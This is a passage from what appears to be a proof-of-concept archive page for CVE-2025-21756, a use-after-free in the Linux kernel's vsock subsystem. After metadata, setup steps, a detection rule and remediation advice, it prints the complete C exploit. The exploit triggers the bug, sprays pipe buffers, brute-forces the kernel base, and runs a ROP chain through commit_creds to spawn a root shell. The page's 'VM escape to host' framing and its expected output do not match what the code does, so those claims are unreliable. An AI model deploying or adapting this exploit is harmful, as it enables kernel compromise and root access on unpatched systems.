PoC Archive PoC Archive
High CVE-2025-21756 patched

Linux vsock Use-After-Free VM Escape (CVE-2025-21756)

by hoefler02 · 2026-05-17

CVSS 7.8/10
Severity
High
CVE
CVE-2025-21756
Category
binary
Affected product
Linux kernel (vsock / virtual socket subsystem)
Affected versions
Linux kernel 6.6.75 (and related; specific to vsock subsystem)
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2025-04-18
Author / Researcherhoefler02
CVE / AdvisoryCVE-2025-21756
Categorybinary
SeverityHigh
CVSS Score7.8 (CVSSv3)
StatusWeaponized
TagsUAF, Linux kernel, vsock, VM escape, container escape, virtualization, LPE, x64
RelatedN/A

Affected Target

FieldValue
Software / SystemLinux kernel (vsock / virtual socket subsystem)
Versions AffectedLinux kernel 6.6.75 (and related; specific to vsock subsystem)
Language / PlatformC, Linux x64
Authentication RequiredNo (code execution inside a VM/container)
Network Access RequiredNo (local — requires foothold inside VM)

Summary

CVE-2025-21756 is a use-after-free vulnerability in the Linux kernel’s vsock (virtual socket) subsystem. An attacker with code execution inside a virtual machine can exploit this bug to escape the VM boundary and gain root-level code execution on the hypervisor host. The vulnerability was researched and published by hoefler02 as their first Linux kernel exploit, accompanied by a full technical write-up. It targets Linux kernel 6.6.75 specifically and demonstrates the attacker-controlled UAF-to-privilege-escalation primitive that enables a complete VM breakout.


Vulnerability Details

Root Cause

A use-after-free bug exists in the vsock subsystem of the Linux kernel. The vsock transport layer improperly handles socket lifecycle management: a vsock object can be freed while still referenced by transport-layer data structures. An attacker can trigger this condition from within a VM by manipulating vsock socket operations in a specific sequence, causing the freed object to be reclaimed with attacker-controlled contents.

Attack Vector

An attacker with unprivileged or low-privileged code execution inside a virtual machine crafts a sequence of vsock socket operations targeting kernel 6.6.75. By exploiting the UAF condition, the attacker achieves an arbitrary kernel write primitive. This is leveraged through standard kernel exploitation techniques (heap spray, cross-cache exploit primitives) to overwrite kernel data structures and escalate privileges.

Impact

Full VM escape to the hypervisor host with root (uid=0) privileges. An attacker who has compromised a guest VM can break out of the VM isolation boundary, compromising the host system and potentially all other VMs running on the same hypervisor. This is a complete compromise of the virtualization boundary.


Environment / Lab Setup

OS (Guest):   Linux with kernel 6.6.75
OS (Host):    Linux hypervisor (KVM/QEMU)
Architecture: x64
Attacker:     Shell inside guest VM
Tools:        gcc, make, QEMU/KVM, provided run.sh / compress.sh scripts

Setup Steps

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chmod +x run.sh compress.sh extract-image.sh

./extract-image.sh

gcc -o exploit x.c -static

./compress.sh
./run.sh

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the environment — Set up QEMU with kernel 6.6.75 using provided config

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    ./extract-image.sh
    ./compress.sh
    
  2. Build the exploit — Compile the C exploit statically

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    gcc -o exploit x.c -static
    
  3. Run the exploit inside the VM — Execute from within the guest

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    ./run.sh
    # exploit runs inside the VM and escapes to host
    

Exploit Code

See x.c in this folder (main exploit source).

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// See x.c for full exploit
// Triggers UAF in vsock subsystem on kernel 6.6.75
// Achieves VM escape and root on host

Expected Output

[*] Triggering UAF in vsock...
[*] Heap spray in progress...
[*] Overwriting kernel structures...
[+] Got root on host!
uid=0(root) gid=0(root)

Screenshots / Evidence


Detection & Indicators of Compromise

KASAN: use-after-free in vsock_*
BUG: unable to handle kernel NULL pointer dereference (vsock path)

SIEM / IDS Rule (example):

alert any any -> any any (msg:"CVE-2025-21756 vsock UAF VM escape"; \
  content:"vsock"; content:"use-after-free"; sid:9002175;)

Remediation

ActionDetail
PatchUpgrade to a patched kernel version beyond 6.6.75 with vsock UAF fix applied
WorkaroundDisable vsock support (modprobe -r vmw_vsock_virtio_transport) if not required by workloads
Config HardeningEnable KASAN in testing environments to detect UAF early; restrict vsock access from untrusted guests

References


Notes

This is the author’s (hoefler02) first Linux kernel exploit, published with a full technical write-up detailing the exploitation process. The exploit targets kernel 6.6.75 specifically, though the underlying vsock UAF may affect adjacent versions. The lts-6.6.75.config kernel config file is included in the repository to facilitate reproducible test environments.

Auto-ingested from https://github.com/hoefler02/CVE-2025-21756 on 2026-05-17.

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#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <linux/kernel.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sched.h>
#include <linux/vm_sockets.h>
#include <assert.h>
#include <sys/msg.h>
#include <linux/netlink.h>
#include <linux/vm_sockets_diag.h>
#include <linux/sock_diag.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>

/*
    CVE-2025-21756 Exploit
    Michael Hoefler
    4/18/2025
*/

#define MAX_PORT_RETRIES	24	/* net/vmw_vsock/af_vsock.c */
#define VMADDR_CID_NONEXISTING	42

// PINGv6 
#define OBJS_PER_SLAB 12
#define CPU_PARTIAL 24
#define FLUSH ((OBJS_PER_SLAB) * (CPU_PARTIAL + 1))
#define PRE (OBJS_PER_SLAB - 1) * 10
#define POST (OBJS_PER_SLAB + 1) * 10

#define SIZE 1280
#define SPRAY_SIZE 1200
#define NUM_PIPES 500

#define BUFFER_SIZE 8192

#define PAGE_SIZE 4096

/* Create socket <type>, bind to <cid, port> and return the file descriptor. */
int vsock_bind(unsigned int cid, unsigned int port, int type)
{
	struct sockaddr_vm sa = {
		.svm_family = AF_VSOCK,
		.svm_cid = cid,
		.svm_port = port,
	};
	int fd;

	fd = socket(AF_VSOCK, type, 0);
	if (fd < 0) {
		perror("socket");
		exit(EXIT_FAILURE);
	}

	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa))) {
		perror("bind");
		exit(EXIT_FAILURE);
	}

	return fd;
}

// get a shell
void get_shell(void){
    puts("[*] Returned to userland");
    if (getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, didn't get root\n", getuid());
        exit(-1);
    }
}

long get_user_rsp() {
    long rsp;
    __asm__ volatile("mov %%rsp, %0" : "=r"(rsp));
    return rsp;
}

int query_vsock_diag() {
    int sock;
    struct sockaddr_nl sa;
    struct nlmsghdr *nlh;
    struct vsock_diag_req req;
    char buffer[BUFFER_SIZE];

    // Create Netlink socket
    sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG);
    if (sock < 0) {
        perror("socket");
        exit(-1);
    }

    memset(&sa, 0, sizeof(sa));
    sa.nl_family = AF_NETLINK;

    // Prepare Netlink message
    memset(&req, 0, sizeof(req));
    req.sdiag_family = AF_VSOCK;
    req.vdiag_states = (1 << 2);

    nlh = (struct nlmsghdr *)buffer;
    nlh->nlmsg_len = NLMSG_LENGTH(sizeof(req));
    nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
    nlh->nlmsg_seq = 1;
    nlh->nlmsg_pid = getpid();
    
    memcpy(NLMSG_DATA(nlh), &req, sizeof(req));

    // Send request
    //printf("sock: %d\n", sock);
    if (sendto(sock, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("ERROR: sendto");
        close(sock);
        exit(-1);
    }

    // Receive response
    ssize_t len = recv(sock, buffer, sizeof(buffer), 0);
    if (len < 0) {
        perror("ERROR: recv");
        close(sock);
        exit(-1);
    }

    close(sock);
    return len;
}

void pin_cpu(int cpu) {
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    if (sched_setaffinity(0, sizeof(set), &set) == -1) {
        perror("sched_setaffinity");
        exit(1);
    }
}

int main(void) {

	int sockets[MAX_PORT_RETRIES];
	struct sockaddr_vm addr;
	int s, i, alen;

    printf(
"                       _                        \n"
"                      | |                       \n"
" __   _____  ___   ___| | ___ ____      ___ __  \n"
" \\ \\ / / __|/ _ \\ / __| |/ / '_ \\ \\ /\\ / / '_ \\ \n"
"  \\ V /\\__ \\ (_) | (__|   <| |_) \\ V  V /| | | |\n"
"   \\_/ |___/\\___/ \\___|_|\\_\\ .__/ \\_/\\_/ |_| |_|\n"
"                           | |                  \n"
"                           |_|                  \n");

    puts("[+] pinning to cpu0");
    pin_cpu(0);

    puts("[+] alloc enough sockets and prepare bind table");

    int junk[FLUSH];
    for (int i = 0; i < FLUSH; i++)
        junk[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);

	s = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET);

	alen = sizeof(addr);
	if (getsockname(s, (struct sockaddr *)&addr, &alen)) {
		perror("getsockname");
		exit(EXIT_FAILURE);
	}

    struct sockaddr_vm sa = {
       .svm_family = AF_VSOCK,
       .svm_cid = VMADDR_CID_LOCAL,
       .svm_port = addr.svm_port,
    };

	for (i = 0; i < MAX_PORT_RETRIES; ++i) {
        sa.svm_port = ++addr.svm_port;
	    if (bind(junk[i], (struct sockaddr *)&sa, sizeof(sa))) {
	    	perror("bind");
	    	exit(EXIT_FAILURE);
	    }
    }

	close(s);

    puts("[+] pre alloc sockets");

    int pre[PRE];
    for (int i = 0; i < PRE; i++)
	    pre[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);

    puts("[+] alloc target");
	s = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (s < 0) {
		perror("socket");
		exit(EXIT_FAILURE);
	}

    // testing
    puts("[+] post-alloc objects");
    int post[POST];
    for (int i = 0; i < POST; i++)
        post[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
    
    
    puts("[+] trigger uaf");
	if (!connect(s, (struct sockaddr *)&addr, alen)) {
		fprintf(stderr, "Unexpected connect() #1 success\n");
		exit(EXIT_FAILURE);
	}
	// connect() #1 failed: transport set, sk in unbound list.

	addr.svm_cid = VMADDR_CID_NONEXISTING;
    addr.svm_port = VMADDR_PORT_ANY;
	if (!connect(s, (struct sockaddr *)&addr, alen)) {
		fprintf(stderr, "Unexpected connect() #2 success\n");
		exit(EXIT_FAILURE);
	}
	// connect() #2 failed: transport unset, sk ref dropped?

    // wait for input
    puts("[+] uaf finished!..");


    puts("[+] fill up the cpu partial list");
    for (int i = 4; i < FLUSH; i += OBJS_PER_SLAB)
        close(junk[i]);

    puts("[+] free all the pre/post alloc-ed objects");
    for (int i = 0; i < POST; i++)
        close(post[i]);
    for (int i = 0; i < PRE; i++)
        close(pre[i]);

    puts("[+] close the junk bound sockets");
    for (int i = 0; i < FLUSH; i++)
	    close(junk[i]);

    sleep(3);

    int pipes[NUM_PIPES][2];
    char page[PAGE_SIZE];
    memset(page, 2, PAGE_SIZE);

    puts("[+] reclaim page");

    int w = 0;
    int j;
    i = 0;
    while (1) { // TODO: i < NUM_PIPES, improve stability

        sleep(0.1);

        if (pipe(&pipes[i][0]) < 0) {
            perror("pipe");
            break;
        }

        printf(".");
        fflush(stdout);


        w = 0;
        while (w < PAGE_SIZE) {
            ssize_t written = write(pipes[i][1], page, 8);
            j = query_vsock_diag();
            w += written;
            if (j != 48) goto out;
        }
        i++;
        if (i % 32 == 0) puts("");
    }

out:

    printf("\n[+] found init_net at i=%d and w=%d\n", i, w);

    //getchar();

    long base = 0xffffffff84bb0000; // probably need to change for aslr
    long off = 0;
    long addy;
    printf("[+] attempting net overwrite (aslr bypass).\n");

    while (off < 0xffffffff) {


        close(pipes[i][0]);
        close(pipes[i][1]);

        if (pipe(&pipes[i][0]) < 0) {
            perror("pipe");
        }

        addy = base + off;

        write(pipes[i][1], page, w - 8);
        write(pipes[i][1], &addy, 8);

        if (off % 256 == 0) {
            printf("+");
            fflush(stdout);
        }

        j = query_vsock_diag();
        if (j == 48) {
            printf("\n[*] LEAK init_net @ 0x%lx\n", base + off);
            goto out2;
        }

        off += 128; // TODO: modify for aslr?

    }

out2:

    long kern_base = base + off - 0x3bb1f80;
    printf("[*] leaked kernel base @ 0x%lx\n", kern_base);

    // calculate some rop gadgets
    long raw_proto_abort = kern_base + 0x2efa8c0;
    long null_ptr = kern_base + 0x2eeaee0;
    long init_cred = kern_base + 0x2c74d80;
    long pop_r15_ret = kern_base + 0x15e93f;
    long push_rbx_pop_rsp_ret = kern_base + 0x6b9529;
    long pop_rdi_ret = kern_base + 0x15e940;
    long commit_creds = kern_base + 0x1fcc40;
    long ret = kern_base + 0x5d2;

    // info for returning to usermode
    long user_cs = 0x33;
    long user_ss = 0x2b;
    long user_rflags = 0x202;
    long shell = (long)get_shell;

    uint64_t* user_rsp = (uint64_t*)get_user_rsp();

    // return to user mode
    long swapgs_restore_regs_and_return_to_usermode = kern_base + 0x16011a6;

    //getchar();

    printf("[+] writing the rop chain\n");

    close(pipes[i][0]);
    close(pipes[i][1]);

    if (pipe(&pipes[i][0]) < 0) {
        perror("pipe");
    }

    printf("[+] writing payload to vsk\n");
    write(pipes[i][1], page, w - 56);

    char buf[0x330];
    memset(buf, 'A', 0x330);
    char not[0x330];
    memset(not, 0, 0x330);

    // create the rop chain!
    write(pipes[i][1], &pop_rdi_ret, 8); // stack pivot target
    write(pipes[i][1], &init_cred, 8);
    write(pipes[i][1], &ret, 8); 
    write(pipes[i][1], &ret, 8);
    write(pipes[i][1], &pop_r15_ret, 8); // junk
    write(pipes[i][1], &raw_proto_abort, 8); // sk_prot (calls sk->sk_error_report())
    write(pipes[i][1], &ret, 8);
    write(pipes[i][1], &commit_creds, 8); // commit_creds(init_cred);
    write(pipes[i][1], &swapgs_restore_regs_and_return_to_usermode, 8);
    write(pipes[i][1], &null_ptr, 8); // rax
    write(pipes[i][1], &null_ptr, 8); // rdi
    write(pipes[i][1], &shell, 8); // rip
    write(pipes[i][1], &user_cs, 8);
    write(pipes[i][1], &user_rflags, 8);
    write(pipes[i][1], user_rsp, 8); // rsp
    write(pipes[i][1], &user_ss, 8);
    write(pipes[i][1], buf, 0x18);
    write(pipes[i][1], &not, 8); // sk_lock
    write(pipes[i][1], &not, 8); // sk_lock
    write(pipes[i][1], &null_ptr, 8); // sk_lock
    write(pipes[i][1], &null_ptr, 8); // sk_lock
    write(pipes[i][1], buf, 0x200);
    write(pipes[i][1], &push_rbx_pop_rsp_ret, 8); // stack pivot [sk_error_report()]

    //getchar();

    close(s); // trigger the exploit!

}